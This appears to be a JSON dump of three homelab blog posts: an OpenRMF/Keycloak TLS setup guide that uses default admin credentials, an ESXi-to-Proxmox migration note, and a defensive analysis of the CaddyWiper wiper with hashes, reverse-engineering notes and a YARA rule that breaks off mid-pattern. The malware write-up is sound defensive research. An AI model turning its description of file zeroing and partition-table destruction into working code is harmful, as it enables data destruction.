[{"content":"I heard about OpenRMF.io recently and decided to take a look. It\u0026rsquo;s deployed with docker containers so I figured it wouldn\u0026rsquo;t be too hard to get up and running. Turns out it was a little tricker than I expected, so I thought I\u0026rsquo;d write down how I did it.\nEventually, I wanted a deployment with TLS certificates and using domain names instead of IP Addresses. To get to this point, I stepped through a staged process. This let me make sure I had everything work in each step.\nDeploy Keycloak using HTTP using IP Address Deploy OpenRMF.io over HTTP using IP Addresses Convert Keycloak and OpenRMF to use domain name Add an nginx proxy to Keycloak to use TLS certificates Update the openrmf-web container to use TLS certificates This set up uses a Let\u0026rsquo;s Encrypt certificate rather than self-signed certificates. I have a wildcard certificate for my home lab. This process will be a little more straight forward than using self-signed since the API microservices will trust the certificates automatically. If you\u0026rsquo;re using a self-signed certificate, you\u0026rsquo;ll need to add a volume to all the service containers so they can validate the certificate.\nI\u0026rsquo;m not going to go into details on generating a wildcard certificate. I use pfSense to renew my wildcard certificate every 90 days. Then I have my lab systems reach out and pull the certificate as needed. But there\u0026rsquo;s some good documentation out there on this process.\nLab Overview For this setup, I have 4 systems, a router, DNS Server, OpenRMF/Keycloak Server and a Workstation.\nOpenRMF.io Lab Setup\nRouter - This will allow internet access while we pull down the OpenRMF.io code. It will run vyos, but this won\u0026rsquo;t matter for this lab. DNS Server - Obviously this will supply the DNS resolution. This system will run Ubuntu 20.04 LTS, server edition. DNS resolution will be with bind, but again, not important for this lab. OpenRMF / Keycloak - This will host the Keycloak and OpenRMF applications. This will run Ubuntu 20.04. Workstation - This is the system we\u0026rsquo;ll work from. This will also run Ubuntu 20.04. Virtual Machine Specs Here are the resources I assigned to each VM:\nVM Name vCPUs RAM Hard Drive Size Router 1 1 GB 8 GB DNS 1 2 GB 8 GB OpenRMF 6 6 GB 50 GB Workstation 4 4 GB 32 GB VM Resources used in my OpenRMF Lab\nI\u0026rsquo;m not sure 50 GB would be large enough for a production instance\u0026hellip;but for me, this to explore the features and functionality of OpenRMF, so I\u0026rsquo;m OK with these sizes.\nPrerequisites For OpenRMF, the main dependency are docker and docker-compose. Those will need to be set up and installed on the OpenRMF system.\nI also added unzip to the OpenRMF system by running sudo apt-get install unzip.\nYou should also have valid TLS certificates that are trusted by systems by default. This is easier than trying to set up docker containers to trust self-signed certificates.\nPull Down the OpenRMF.io Code You can get the latest releases from github. Grab the Keycloak and OpenRMF zip files. I created a main openrmf folder in my home directory.\ncd ~ mkdir openrmf cd openrmf wget https://github.com/Cingulara/openrmf-docs/releases/download/v1.8.1/Keycloak-v15.0.0.zip wget https://github.com/Cingulara/openrmf-docs/releases/download/v1.8.1/OpenRMF-v1.8.1.zip Initial Keycloak Setup First things first, I set up the Keycloak server on the OpenRMF machine. I created a new folder keycloak and copied the keycloak zip file into this new folder. Finally unzip it.\nmkdir keycloak cp ../Keycloak-v15.0.0.zip ./ unzip Keycloak-v15.0.0.zip There\u0026rsquo;s an included start.sh file that we can use to start up the keycloak server.\n./start.sh This will pull down the keycloak docker images, create the containers and start them. Give this a few minutes - 2 or 3 usually. Once you can access the web interface at http://{ your-ip-address}:9001 the containers are up and running.\nAlright! Success. Let\u0026rsquo;s configure the OpenRMF realm. There\u0026rsquo;s a script for that too. I\u0026rsquo;m running on linux, so I\u0026rsquo;m going to run the setup-realm-linux.sh. This script needs privileged access, so we use sudo. This will ask you for the IP address of your Keycloak server. I used the localhost 127.0.0.1 IP. It will also ask you for an admin account name for the OpenRMF tool. You cannot use admin, so I went with sysadmin.\nsudo ./setup-realm-linux.sh Lastly, I allowed port 9001/tcp through the firewall with ufw.\nufw allow 9001/tcp Configure Keycloak Login to the Keycloak interface by clicking Administrative Console. Login with the default credentials of user admin and password admin.\nNOTE: Don\u0026rsquo;t worry about the default credentials right now. We\u0026rsquo;ll change them later once we have HTTPS set up so our new secure password isn\u0026rsquo;t sent over the wire in cleartext.\nAn OpenRMF user was created using the script above, but no password was created, so we\u0026rsquo;ll set one using the web interface. Navigate to Manage \u0026gt; Users on the left. Click View all users\nSelect the ID next to your admin user. Click the Credentials tab.\nEnter a new password. I also turn off the Temporary switch so we don\u0026rsquo;t have to change the password when we first log in. Click Set Password and then confirm it in the popup. We\u0026rsquo;ll change this later too since this password will be sent over the wire in cleartext right now.\nThat should do it for Keycloak for now. Let\u0026rsquo;s move on to getting OpenRMF up initially.\nInitial Setup for OpenRMF Similar to keycloak, we\u0026rsquo;re going to create a folder for OpenRMF.\ncd ~/openrmf mkdir openrmf cd openrmf cp ../OpenRMF-v1.8.1.zip ./ unzip OpenRMF-v1.8.1.zip The main configuration here is to update the .env file.\nThe JWTAUTHORITY has to match a setting in Keycloak and the URL used to access the web app. So for me, I\u0026rsquo;m going to edit this to be\nJWTAUTHORITY=http://10.10.0.10:9001/auth/realms/openrmf JWTCLIENT=openrmf Next, let\u0026rsquo;s set up the redirect_uri in Keycloak. In the web interface, let\u0026rsquo;s go to Clients on the left. Select Edit from the openrmf row, highlighted in red in the screenshot below.\nUpdate the Valid Redirect URIs to be the IP address of your OpenRMF interface, make sure you have the wildcard * at the end.\nClick Save at the bottom of this page.\nStarting OpenRMF Let\u0026rsquo;s open the port for OpenRMF through the firewall.\nsudo ufw allow 8080/tcp Now similarly, there is a start.sh script. I\u0026rsquo;m going to run that to start.\n./start.sh Once the docker images are downloaded and the containers started, you can access the web app at http://10.10.0.10:8080/\nIf everything is configured right, this should redirect you to sign in on the Keycloak URL. Sign in with the OpenRMF user we created: sysadmin in my case.\nHere, I got an error. This error usually means the API microservices aren\u0026rsquo;t able to validate the JWT tokens - the URLs in the Valid Redirect URIs, the .env file and the URL used to access the web app.\nI was able to solve this error by stopping the openrmf and keycloak containers and forcing a recreate. Maybe the .env did populate to the API containers properly? Not sure what happened here.\ncd /home/sysadmin/openrmf/keycloak ./stop.sh docker-compose up -d --force-recreate cd /home/sysadmin/openrmf/openrmf ./stop.sh docker-compose up -d --force-recreate Once the containers are up, go back to the OpenRMF web interface and we can see the APIs are working. We have counts in for the System Packages, Checklists and Templates.\nSo success! We have the base system working.\nConfiguring OpenRMF to use Domain Names This is great\u0026hellip;but having to remember IP addresses isn\u0026rsquo;t exciting. So let\u0026rsquo;s configure some FQDNs. At the end of this section, we\u0026rsquo;ll have the OpenRMF system using domain names and nice URLs, but still over HTTP. That will be fixed in the next section.\nPrerequisites - DNS Server My DNS server in this lab is an Ubuntu system running bind9, but in reality it doesn\u0026rsquo;t really matter as long as you can configure (and resolve) your custome domain names.\nThere are 2 main FQDNs I set up. My lab domain is home.mikebosland.com so this these are what I setup.\nkeycloak.home.mikebosland.com openrmf.home.mikebosland.com Both of these are pointing to 10.10.0.10 which is my Keycloak/OpenRMF server.\nKeycloak Configuration Navigate to your keycloak domain, which for me is http://keycloak.home.mikebosland.com:9001\nLog in to the Administrative Console with the default admin:admin credentials. We need to adjust the Valid Redirect URIs to include the domain names. I decided to leave the IP URI in there just in case I want to use IP for some reason.\nNavigate to Clients and select Edit in the openrmf row.\nI added http://openrmf.home.mikebosland.com:8080/* to the list of URIs. Press Save at the bottom of the page.\nNow, since it helped last time, I\u0026rsquo;m going to stop and rebuild the containers.\ncd /home/sysadmin/openrmf/keycloak ./stop.sh docker-compose up -d --force-recreate OpenRMF Configuration Now that we updated Keycloak, we need to update the .env file with the new URL. It\u0026rsquo;s probably a good idea to stop the OpenRMF containers first.\ncd /home/sysadmin/openrmf/openrmf ./stop.sh Update .env file\u0026rsquo;s JWTAuthority item with the URL for the OpenRMF server, but use the keycloak port, 9001. This was the biggest \u0026ldquo;gotcha\u0026rdquo; for me.\nNow we can rebuild the containers and start them.\ndocker-compose up -d --force-recreate Once those are running, navigate to http://your-openrmf-domain:8080/, so for me that\u0026rsquo;s http://openrmf.home.mikebosland.com:8080/ and sign in with your openrmf admin account, for me that\u0026rsquo;s sysadmin.\nSuccess! We can now access OpenRMF with domain names!\nConfiguring OpenRMF for TLS Alright. Almost done. For my set up, I\u0026rsquo;m using valid TLS certificates to make the process a bit easier.\nPrerequisites - TLS Certificates You\u0026rsquo;re going to need a valid TLS Certificate and a Key. As mentioned before, I\u0026rsquo;m using pfsense to automatically renew mine so we won\u0026rsquo;t go into details there.\nConfiguring Keycloak for TLS I was having a hard time getting this running. Based on the OpenRMF Docs, I decided to also build an nginx proxy to sit in front of keycloak.\nTo do this we\u0026rsquo;ll need the following:\nValid TLS Certificate Valid TLS Key certs.conf file ssl-param.conf file nginx.conf file Update docker-compose.yml I created an nginx folder inside /home/\u0026lt;username\u0026gt;/openrmf/keycloak to hold all of these.\nFirst up, put the TLS Certificate and Key in this nginx folder.\ncerts.conf Next up, we\u0026rsquo;ll build the certs.conf file to specify the TLS certificates that nginx should use.\nssl_certificate /etc/nginx/certs/ssl/certs/home_mikebosland_com_wildcard.fullchain; ssl_certificate_key /etc/nginx/certs/ssl/private/home_mikebosland_com_wildcard.key; ssl-params.conf This file specifies the SSL configuration for nginx. T\nssl_protocols TLSv1.2 TLSv1.3; ssl_prefer_server_ciphers on; ssl_ciphers \u0026#34;EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH\u0026#34;; ssl_ecdh_curve secp384r1; ssl_session_cache shared:SSL:10m; ssl_session_tickets off; ssl_stapling on; ssl_stapling_verify on; resolver 8.8.8.8 8.8.4.4 valid=300s; resolver_timeout 5s; add_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubdomains\u0026#34;; add_header X-Frame-Options DENY; add_header X-Content-Type-Options nosniff; nginx.conf We need to set up the nginx.conf configuration file for the enginx proxy. Be sure to update the server_name in the file below. I used server_name keycloak.home.mikebosland.com;\nworker_processes 4; pid /tmp/nginx.pid; # Changed from /var/run/nginx.pid events { worker_connections 4096; } http { sendfile on; client_max_body_size 60M; include /etc/nginx/mime.types; keepalive_timeout 65; proxy_http_version 1.1; # configure nginx server to redirect to HTTPS # server { # listen 9001; # server_name xxx.xxx.xxx.xxx; # return 302 https://$server_name:9001; # } server { listen 8443 ssl http2; server_name keycloak.your.domain; include snippets/certs.conf; include snippets/ssl-params.conf; # # don\u0026#39;t send the nginx version number in error pages and Server header server_tokens off; proxy_set_header Host $host:9001; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Real-IP $remote_addr; # proxy_set_header X-Forwarded-For $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; location / { proxy_pass http://keycloak:8080; add_header X-Frame-Options \u0026#34;ALLOWALL\u0026#34;; } } } Update docker-compose.yml That should be all of the files we need.\nNow e can update the docker-compose.yml file for keycloak. Also, under keycloak, remove the ports since we want the keycloak proxy to handle it. I just commented them out.\nkeycloak: container_name: openrmf-keycloak image: jboss/keycloak:15.0.0 restart: always #ports: # - 9001:8443 environment: - KEYCLOAK_USER=admin - KEYCLOAK_PASSWORD=admin - DB_VENDOR=postgres - DB_ADDR=postgres - DB_PORT=5432 - DB_DATABASE=keycloak - DB_USER=keycloak - DB_PASSWORD=password - PROXY_ADDRESS_FORWARDING=true depends_on: - postgres volumes: - ./themes/openrmf/:/opt/jboss/keycloak/themes/openrmf/:ro - ./standalone-ha.xml:/opt/jboss/keycloak/standalone/configuration/standalone-ha.xml:ro networks: - keycloak-network keycloak-proxy: image: nginx container_name: openrmf-keycloak-proxy restart: always volumes: - ./nginx/home_mikebosland_com_wildcard.fullchain:/etc/nginx/certs/ssl/certs/home_mikebosland_com_wildcard.fullchain - ./nginx/home_mikebosland_com_wildcard.key:/etc/nginx/certs/ssl/private/home_mikebosland_com_wildcard.key - ./nginx/ssl-params.conf:/etc/nginx/snippets/ssl-params.conf:ro - ./nginx/certs.conf:/etc/nginx/snippets/certs.conf:ro - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro ports: - 9001:8443 networks: - keycloak-network depends_on: - keycloak Time to start up keycloak.\ncd /home/sysadmin/openrmf/keycloak docker-compose up -d --force-create Navigate to https://keycloak.home.mikebosland.com. Success!\nLog in with the default admin:admin credentials. We need to update the Valid Redirect URIs for HTTPS. Click Clients \u0026gt; edit on openrmf\nEdit the URIs. Change http to https\nClick Save.\nConfigure OpenRMF for HTTPs To get HTTPs working on OpenRMF we need most of the same files. These are the items we need to address:\nValid TLS Certificate Valid TLS Key certs.conf file ssl-param.conf file Update nginx.conf file Update docker-compose.yml Update .env Once again, I created a folder nginx to hold these new files.\ncd /home/sysadmin/openrmf/openrmf mkdir nginx TLS Certificate and Key Copy the TLS Certificate and Key into this nginx folder.\nCopy the certs.conf and ssl-params.conf files into this folder. Finally, add read permissions to these files. NOTE: There might be a more secure way to allow the nginx container to read these. Still need to look into that.\nchmod a+r /etc/sysadmin/openrmf/openrmf/nginx Update nginx.conf The changes we need to make are to the openrmf-web container. Add the certificates, certs.conf and ssl-params.conf to the volumes for this container.\nversion : \u0026#39;3.8\u0026#39; services: ### 1 Web Front End Container openrmf-web: image: cingulara/openrmf-web:1.08.01 container_name: openrmf-web restart: always ports: - 8080:8080 depends_on: - openrmfapi-scoring - openrmfapi-template - openrmfapi-read - openrmfapi-controls - openrmfapi-audit - openrmfapi-report volumes: - ./nginx.conf:/etc/nginx/nginx.conf - ./nginx/home_mikebosland_com_wildcard.fullchain:/etc/nginx/certs/ssl/certs/home_mikebosland_com_wildcard.fullchain - ./nginx/home_mikebosland_com_wildcard.key:/etc/nginx/certs/ssl/private/home_mikebosland_com_wildcard.key - ./nginx/certs.conf:/etc/nginx/snippets/certs.conf:ro - ./nginx/ssl-params.conf:/etc/nginx/snippets/ssl-params.conf:ro networks: - openrmf Update nginx.conf We need to edit the /home/\u0026lt;username\u0026gt;/openrmf/openrmf/nginx.conf file to update the server_name and include the certs.conf and ssl-params.conf files. Make sure to add ssl to the listen line after the port number. If you miss this, you might get an SSL_ERROR_RX_RECORD_TOO_LONG.\nUpdate .env Lastly, let\u0026rsquo;s update the .env file to point to the new https URL.\nStart up OpenRMF Ok, I wanted to rebuild the containers, so I used\ncd /home/sysadmin/openrmf/openrmf docker-compose up -d --force-recreate Navigate to your new https URL. For me that\u0026rsquo;s https://openrmf.home.mikebosland.com:8080\nOnce you log in, you should see the dashboard.\nNext Steps Now that the system is up and running, you should change the passwords now that they will be securely transferred.\nAfter that, you can start exploring the OpenRMF tool.\nFinally, thanks for making it through this mega post. If you see anything I could be doing better, feel free to let me know.\n","permalink":"https://mikebosland.com/how-to-configure-openrmf-io-to-use-domain-names-and-tls/","summary":"\u003cp\u003eI heard about \u003ca href=\"https://www.openrmf.io/\"\u003eOpenRMF.io\u003c/a\u003e recently and decided to take a look. It\u0026rsquo;s deployed with docker containers so I figured it wouldn\u0026rsquo;t be too hard to get up and running. Turns out it was a little tricker than I expected, so I thought I\u0026rsquo;d write down how I did it.\u003c/p\u003e\n\u003cp\u003eEventually, I wanted a deployment with TLS certificates and using domain names instead of IP Addresses. To get to this point, I stepped through a staged process. This let me make sure I had everything work in each step.\u003c/p\u003e","title":"How to Configure OpenRMF.io to use Domain Names and TLS"},{"content":"I\u0026rsquo;ve been using ESXi as my virtualization platform in my homelab for years, 2012 maybe? It\u0026rsquo;s been a solid, but limited, platform. With Broadcom\u0026rsquo;s recent purchase, I figured it was time to start exploring more open source solutions for virtualization. I feel it\u0026rsquo;s only a matter of time before the free tier of ESXi is further limited.\nI tried XCP-ng a few years ago, but I wasn\u0026rsquo;t able to get a virtual machine\u0026rsquo;s network interface into promiscuous mode for whatever reason. So this time, I think I\u0026rsquo;m going to set up Proxmox. I have 2 enterprise servers, so I want to set up a proxmox \u0026ldquo;cluster\u0026rdquo; (a true cluster needs 3 servers, so this will just be 2 servers in a \u0026ldquo;datacenter\u0026rdquo; that is my office). I want to be able to experiment with live migrating VMs from 1 host to another.\nInstalling Proxmox This was pretty straight-forward. Follow the documentation.\nOnce Proxmox was set up, I configured an NFS share on my TrueNAS server. This will be the shared storage between the 2 proxmox hosts.\nMultiple VLANs over a Single Interface My network is segregated into multiple VLANs: Home, IoT, 2 work VLANs and a guest VLAN. I also have a physically isolated DMZ network. To get all of this into Proxmox without using 6 Network interfaces, I found some steps on how to enable multiple VLANs over a single interface.\nEdit your /etc/network/interfaces file\nOn my server, I have vmbr0 set to my main network interface. This is the interface I want the multiple VLANs to come in on.\nFor each VLAN, use the template below. Insert it above the vmbr0 definition in the file.\nauto vmbr0.vlan-id iface vmbr0.vlan-id inet static address xxx.xxx.xxx.xxxx/24 # IP for the interace on the VLAN subnet gateway xxx.xxx.xxx.xxx # IP Address for the gateway on the VLAN Finally, in the vmbr0 definition, add the following lines to enable the VLANs. You can specify specific VLANs here, but I enabled all of them for simplicity. However, if you only wanted to allow 2 VLANs (say 10 and 20) you would use bridge-vids 10 20\nbridge-vlan-aware yes bridge-vids 1-4092 # the VLAN IDs that will be allowed on this interface. Once this is done, I think rebooting the system would be best to ensure the configuration is applied properly.\nMigrating VMs from ESXi to Proxmox This is going to be the time consuming process:\nUninstall VMware Tools. Most of my linux systems are a debian flavor so it\u0026rsquo;s a simple apt purge open-vm-tools Shutdown the VM Export the vm using the VMWare ovftool Copy the resulting VMDK files to Proxmox Create a VM in Proxmox to match the original VM settings Detach, and remove, the hard disk from the blank Proxmox VM From the Proxmox CLI, run qm importdisk vm-id path-to-disk proxmox-storage -format qcow2 Repeat the prior step for all disks, if more than 1 In the Proxmox GUI, double click on the \u0026ldquo;unused disk\u0026rdquo;, select Add Repeat the prior step for all disks, if more than 1 Enable the new drives in Options \u0026gt; Boot Order Start up the New VM Once all of this is complete, you can power on the VM and make sure everything imported and starts properly.\nI use netplan to control my interface configuration. Changing to Proxmox relabeled my interfaces, so I had to go into my netplan configuration /etc/netplan/01-ifcfg.yaml to update the interface name and then run sudo netplan apply to apply the new configuration. I have a blog post about netplan if you want more of a step-by-step here.\nRepeat for each VM. I have 15 or so I think I use on a regular basis, so I\u0026rsquo;ll be on this step for a while.\nThoughts so far The only feature ESXi has that I haven\u0026rsquo;t seen a replacement for, is using VMWare Player as a remote console. I really enjoyed that and used it all the time. I\u0026rsquo;ve recently started using Guacamole as a centralized remote access server so that\u0026rsquo;s helping.\n","permalink":"https://mikebosland.com/migrating-from-esxi-7-to-proxmox-7/","summary":"\u003cp\u003eI\u0026rsquo;ve been using ESXi as my virtualization platform in my homelab for years, 2012 maybe? It\u0026rsquo;s been a solid, but limited, platform. With \u003ca href=\"https://techcrunch.com/2022/05/26/broadcom-to-acquire-vmware-in-massive-61b-deal/\"\u003eBroadcom\u0026rsquo;s recent purchase\u003c/a\u003e, I figured it was time to start exploring more open source solutions for virtualization. I feel it\u0026rsquo;s only a matter of time before the free tier of ESXi is further limited.\u003c/p\u003e\n\u003cp\u003eI tried XCP-ng a few years ago, but I wasn\u0026rsquo;t able to get a virtual machine\u0026rsquo;s network interface into promiscuous mode for whatever reason. So this time, I think I\u0026rsquo;m going to set up Proxmox. I have 2 enterprise servers, so I want to set up a proxmox \u0026ldquo;cluster\u0026rdquo; (a true cluster needs 3 servers, so this will just be 2 servers in a \u0026ldquo;datacenter\u0026rdquo; that is my office). I want to be able to experiment with live migrating VMs from 1 host to another.\u003c/p\u003e","title":"Migrating from ESXi 7 to Proxmox 7"},{"content":"Executive Summary SHA 256 Hash: a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea\nESET researchers published a report on a new wiper malware first discovered in a limited number of organizations in Ukraine. It was first detected on 14 March 2022 at 9:38 AM UTC. This is the 3rd wiper malware discovered since 23 February 2022.\nThe sample, a 32-bit Windows Portable Executable (PE) binary, was obtained from MalwareBazaar. It is a destructive wiper program that runs on Windows platforms. Upon execution, the malware first identifies if it is running on a Primary Domain Controller, if so the malware exits harmlessly. If the machine is NOT a Primary Domain Controller, the malware continues executing.\nCaddyWiper has a three stage wiper process:\nAll files in the C:\\Users folder are overwritten with zeros. Up to the first 10 MB is the file is larger than this The Access Control List is also destroyed. All files in logical drives D:\\ through Z:\\ are then similarly overwritten This includes network mapped drives Finally, the partition tables on the first 10 drives attached to the computer are overwritten with zeros. This malware is destructive. It overwrites data with zeros and destroys hard drive partition tables. The only way to recover is to rebuild the machine and load data from backups.\nAs Primary Domain Controllers are spared by this malware, it can be assumed that the Domain Controller is a mechanism for distributing the malware. The attackers most likely have gained access to the Domain Controller before delivering this payload.\nA YARA signature rule is included below after the analysis.\nIndicators of Compromise The malicious binary will be present. The original name seems to be caddy1.exe, but the file could be named anything. Compare unknown files to the hashes below, or using the provided yara rule to identify samples of this malware.\nMD5: 42e52b8daf63e6e26c3aa91e7e971492\nSHA256: a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea\nWhile the malware is running and actively overwriting files, you may experience a popup saying that the file, shortcut, executable, etc cannot be opened.\nAn error message that occurs when you try to open a file that has been overwritten\nAdditionally, Access Control List permissions are overwritten, so you may see access denied errors. If you check with icacls there are no permissions on the sample affected folder in the following screenshot.\nCheck the ACL of items that have been overwitten\nAs Windows becomes unable to read the drive containing the operating system, it will notify you of a problem and crash.\nThe final notice before the machine is unable to boot\nThe final item of note is that there is not any persistence mechanism as the malware renders the machine inoperable. When attempting to boot an affected machine, you may see an error message. In this case, it simply says unsuccessful and attempts to boot from other options.\nUnable to boot from local hard drive so it attempted, and failed, a network boot\nHigh-Level Technical Summary CaddyWiper first checks to see the role assigned to the machine it is currently running on using the DsRoleGetPrimaryDomainInformation function. If the machine is a Primary Domain controller, the execute stops here.\nIf the machine has any other role, CaddyWiper begins overwriting all files in the C:\\Users folder recursively. For small files, the entire file is overwritten with zeros. For larger files, only the first 10 MB are overwritten. Once this is complete, it iterates through all drives from D:\\ to Z:\\ and overwrites all files in those drives (including network shares).\nAfter the discovered files have been overwritten, the malware attempts to overwrite the partition tables of all drives connected to the machine. Again, this is done with all zeros. Eventually the machine will crash to a blue error screen and is further unable to boot.\nCaddyWiper High Level Execution Flow\nMalware Composition The CaddyWiper malware consists of a single 32-bit PE binary.\nIt was compiled on 14 March 2022 at 7:19:36 UTC. This was approximately 2 hours before ESET first identified it. This can be manipulated, so this timestamp should be viewing some some caution.\nCaddyWiper PE File Headers\nTechnical Analysis Basic Static Analysis A basic static analysis was performed on the malware binary. The file was first fingerprinted using MD5 and SHA256 algorithms.\nMD5: 42e52b8daf63e6e26c3aa91e7e971492\nSHA256: a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea\nVirusTotal was queried using the SHA256 hash. At the time of publishing this report, 48 of the 68 virus scanning engines have flagged this sample as being malicious.\nVirusTotal results\nVirusTotal had first seen this sample on 14 March 2022 at 12:40:26 UTC. It had been uploaded with several different file names, but caddy1.exe was among them. This is where ESET named the sample CaddyWiper.\nTo Pack or Not to Pack Malware is often compressed to assist in evading antivirus detection. Packed samples can often be identified when comparing the PE files Virtual Size to the Size of the Raw Data.\nThe Virtual size of 0x1B4A (6,986) is similar to the Raw Data size of 0x1C00 (7,196) meaning it is unlikely that this sample has been compressed or packed in some way.\nImport Address Table The Import Address Table details the functions the malware imports to accomplish whatever functions it was designed to do. These can often provide clues to what the malware is doing. However, in this case there is only 1 function imported. This is very unique. Typical programs, both benign and malicious, have significantly more imports than this.\nThis sample is importing DsRoleGetPrimaryDomainInformation. This function returns the state of the directory service installation and information about the domain, if the machine has been added to one.\nLater in the analysis, I observed that malware has implemented a method to import the required function at runtime. Otherwise, we are not able to glean much information here.\nStrings It is often possible to extract characters from the raw binary that can be decoded into ASCII or Unicode text that may indicate functions, URLs, etc. This binary had a very limited amount of strings exposed\u0026hellip;however some were of note.\nDsRoleGetPrimaryDomainInformation C:\\Users \\\\.\\PHYSICALDRIVE9 DeviceIoControl WriteFile LoadLibraryA FindFirstFileA These strings indicate some key functionality of the malware:\nC:\\Users and \\\\.\\PHYSICALDRIVE9 are paths that are used in the wiper functions WriteFile and DeviceIoControl are the functions used to destroy files and the partition tables of the attached hard drives LoadLibraryA is used to import additional functions at runtime, making them a little more difficult to identify. Basic Dynamic Analysis Network Indicators of Compromise No unique network traffic was observed from this sample. Accessing remotely mounted file shares was observed, but this was identical to legitimate usage. The malware was not observed to reach out to any remote IPs or Domains.\nHost Based Indicators of Compromise During the execution of the malware, it was possible to observe files that have been corrupted before the system crashed. A JPEG picture was on the Desktop of the user that executed the malware. You can see the normal JPEG header in the file before it was corrupted. The file starts with the correct FF D8 byte sequence.\nA normal JPEG in Hex\nAfter the malware has run, the file has been overwritten entirely with zeros. The FF D8 sequence, as well as all the other data, has been replaced with 00 00.\nA file after CaddyWiper has executed\nAdvanced Static Analysis - Reverse Engineering The majority of the analysis was performed via advanced static analysis. The malware only has 10 functions, so it is not overly complex. Of these, only 3 are key to the malware\u0026rsquo;s function.\nImporting Functions As noted in the basic analysis, there was only 1 function imported in the Import Address Table. However, when looking at the code, there is an obfuscated method for importing functions at runtime.\nThe function name and the name of the dll that contains that function are encoded in hex bytes. Each letter is assigned to a single variable, sequentially.\nThe address of the first letter of the dll name and the address of the first letter of the function name are passed to this FUN_00401530 function. This function then combines the letters and uses LoadLibraryA to import the specified function and return a handle to that function as seen in the EAX register in the image below.\nThis is how the malware has such a limited Import Address Table.\nThe Entry Function - Main The main function of the malware is large, but straightforward.\nCaddyWiper\u0026rsquo;s entry function graph view\nThe long block at the top is where some dll names and function names are encoded as detailed above. The interesting function happen at the bottom of this first block and the subsequent blocks. There are 2 wiper functions, 1 for files and 1 for hard drive partition tables. They happen sequentially as seen in the decompiled code below.\nStep 1: Determining the Machine Role The malware does not wipe and destroy Primary Domain Controllers. So the first thing the malware needs to do is identify if it is running on a Primary Domain Controller.\nThe main logic of CaddyWiper\nAt the top of the image, we see the call to DsRoleGetPrimaryDomainInformation. If the result of this function is a value of 5, then we just down and exit the program - the lower right hand block highlighted in red. This value of 5 corresponds to the constant for DsRole_RolePrimaryDomainController. Again, if the machine is a Primary Domain controller, exit the program.\nHowever, if we are running on any other machine, follow the green arrow to the malicious core of the program.\nStep 2: Wiping Files in C:\\Users After the malware checks to see that it is not running on a Primary Domain Controller, the malware then enters this block of code. This is the section that wipes files from C:\\Users.\nFile Wiping Sections\nOnce the C:\\Users path is passed to the wiper function, the malware will do some obfuscated importing of functions, as detailed above. Eventually it will get to the main core of the file wiper function.\nThe main file wiper logic\nUsing the FindFirstFileA , the malware will get a handle to the first discovered file. This file will be opened and the file size checked. If the file is larger than 0xA00000 or 10,485,760 bytes, the fileSize variable is set to 10 MB. This is most likely for speed purposes since destroying the first 10 MB of any file should sufficiently corrupt it.\nAfter getting the file size, a memory segment is allocated and filled with zeros.\nFilling the allocated memory segment with zeros\nThis zeroed memory segment is then written to the file starting at the beginning of the file. The file is closed and the process repeats for the next file.\nThe malware grants itself the SeTakeOwnershipPrivilege. Using this privilege, the Discretional Access Control List (DACL) for each folder and file is also over written with zeros so no one has access to it using the SetNamedSecurityInfoA API call.\nStep 3: Encrypting Other Logical Drives After the malware zeros out all the files in the C:\\Users folder, it moves on to any other logical drives that may be connected. These may be local and/or remote network shares that have been mapped to a drive letter.\nThe malware starts the process on the D:\\ drive. If found, it will loop through all the files using the same function detailed above to write Zeros to the full file, or first 10MB.\nAfter checking for the D drive, it will continue to check each additional letter (D, E, F, etc) incrementing by 1 each time until it reaches the Z:\\. Interestingly, the malware also checks for the presence of [:\\ which is the character after Z. I believe this is just a mistake in the coding.\nStep 4: Destroy the Partition Tables of Any Physical Disks As a last destructive step, the malware destroys the partition tables of any physical drives connected to it. This renders the machine unusable as the system will not be able to boot from the now corrupt hard drive.\nCaddyWiper\u0026rsquo;s partition destroying code\nThis code is interesting. Where the logical drive wiping code started at D: and incremented up, this starts at \\\\.\\PHYSICALDRIVE9 and counts down. This is most likely to ensure that additional drives will be wiped before the system drive (most likely \\\\.\\PHYSICALDRIVE0) is corrupted and the system crashes.\nThe malware uses the function DeviceIOControl and the IOCTL_DISK_SET_DRIVE_LAYOUT_EX Control Code to overwrite the existing partition table with zeros. This destroys the partition table and the system is no long able to use that device.\nAt the completion of this code, the system will crash and then will not be able to be rebooted.\nYara Rule for Detection The following yara rule has been developed to identify samples of CaddyWiper in the wild.\nrule CaddyWiper { meta: last_updated = \u0026#34;2022-03-16\u0026#34; author = \u0026#34;Mike Bosland\u0026#34; description = \u0026#34;A yara rule to detect CaddyWiper\u0026#34; strings: // Fill out identifying strings and other criteria $PE_magic_byte = \u0026#34;MZ\u0026#34; $string1 = \u0026#34;DsRoleGetPrimaryDomainInformation\u0026#34; ascii // DeviceIOCtl $deviceiocontrol_hex = { C6 45 ?? 44 C6 45 ?? 65 C6 45 ?? 76 C6 45 ?? 69 C6 45 ?? 63 C6 45 ?? 65 C6 45 ?? 49 C6 45 ?? 6f C6 45 ?? 43 C6 45 ?? 6f C6 45 ?? 6e C6 45 ?? 74 C6 45 ?? 72 C6 45 ?? 6f C6 45 ?? 6c } // C:\\Users $c_users_hex = { C6 45 ?? 43 C6 45 ?? 3A C6 45 ?? 5C C6 45 ?? 55 C6 45 ?? 73 C6 45 ?? 65 C6 45 ?? 72 C6 45 ?? 73 } // \\\\.\\PHYSICALDRIVE $physical_drive_hex = { C6 45 ?? 5C C6 45 ?? 00 C6 45 ?? 5C C6 45 ?? 00 C6 45 ?? 2E C6 45 ?? 00 C6 45 ?? 5C C6 45 ?? 00 C6 45 ?? 50 C6 45 ?? 00 C6 45 ?? 48 C6 45 ?? 00 C6 45 ?? 59 C6 45 ?? 00 C6 45 ?? 53 C6 45 ?? 00 C6 45 ?? 49 C6 45 ?? 00 C6 45 ?? 43 C6 45 ?? 00 C6 45 ?? 41 C6 45 ?? 00 C6 45 ?? 4C C6 45 ?? 00 C6 45 ?? 44 C6 45 ?? 00 C6 45 ?? 52 C6 45 ?? 00 C6 45 ?? 49 C6 45 ?? 00 C6 45 ?? 56 C6 45 ?? 00 C6 45 ?? 45 